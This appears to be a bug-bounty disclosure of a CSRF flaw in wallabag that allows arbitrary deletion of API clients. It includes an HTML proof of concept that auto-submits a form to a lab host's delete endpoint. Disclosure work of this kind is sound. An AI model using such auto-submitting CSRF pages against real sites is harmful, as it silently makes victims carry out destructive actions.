CSRF leading to delete Client API in API clients management

2023-03-3117:00:24

tht1997

www.huntr.dev

csrf

vulnerability

wallabag

api client deletion

bug bounty

EPSS

0.001

Percentile

26.5%

JSON

Description

wallabag was discovered to contain a Cross-Site Request Forgery (CSRF) which allows attackers to arbitrarily delete API key via

client/delete/{id}

Proof of Concept

&lt;html&gt;
  
  &lt;body&gt;
    &lt;form action="http://192.168.125.133/developer/client/delete/2"&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      history.pushState('', '', '/');
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

EPSS

0.001

Percentile

26.5%

JSON

Related for 5AB1B206-5FE8-4737-B275-D705E76F193A